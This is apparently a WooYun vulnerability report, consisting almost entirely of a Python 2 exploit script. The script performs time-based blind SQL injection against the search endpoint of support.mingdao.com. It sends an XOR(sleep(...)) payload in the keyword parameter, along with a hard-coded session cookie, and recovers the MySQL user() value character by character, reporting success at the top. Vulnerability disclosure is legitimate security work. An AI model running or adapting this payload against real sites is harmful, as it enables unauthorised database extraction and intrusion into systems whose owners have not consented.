WooYun.org

[Done] MySQL user is [email protected]

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'PHPSESSID=k9ctvvsqkn4llkthmv5joq5p40; mobile=2',
           'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4',
           'Referer': 'http://support.mingdao.com'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):
    for payload in payloads:
        timed_out = 0
        for j in range(2):
            try:
                s = "/posts/search?keyword=aaa'XOR(sleep(ascii(mid(user()from(%s)for(1)))=%s))OR'bb" % (i, ord(payload))
                conn = httplib.HTTPConnection('support.mingdao.com', timeout=1)
                conn.request(method='GET',url=s, headers=headers)
                conn.getresponse().read()
                conn.close()
                print '.',
                break
            except:
                timed_out += 1
        if timed_out == 2:
            user += payload
            print '\n[in progress]', user,
            time.sleep(1.0)
            break
        
print '\n[Done] MySQL user is %s' % user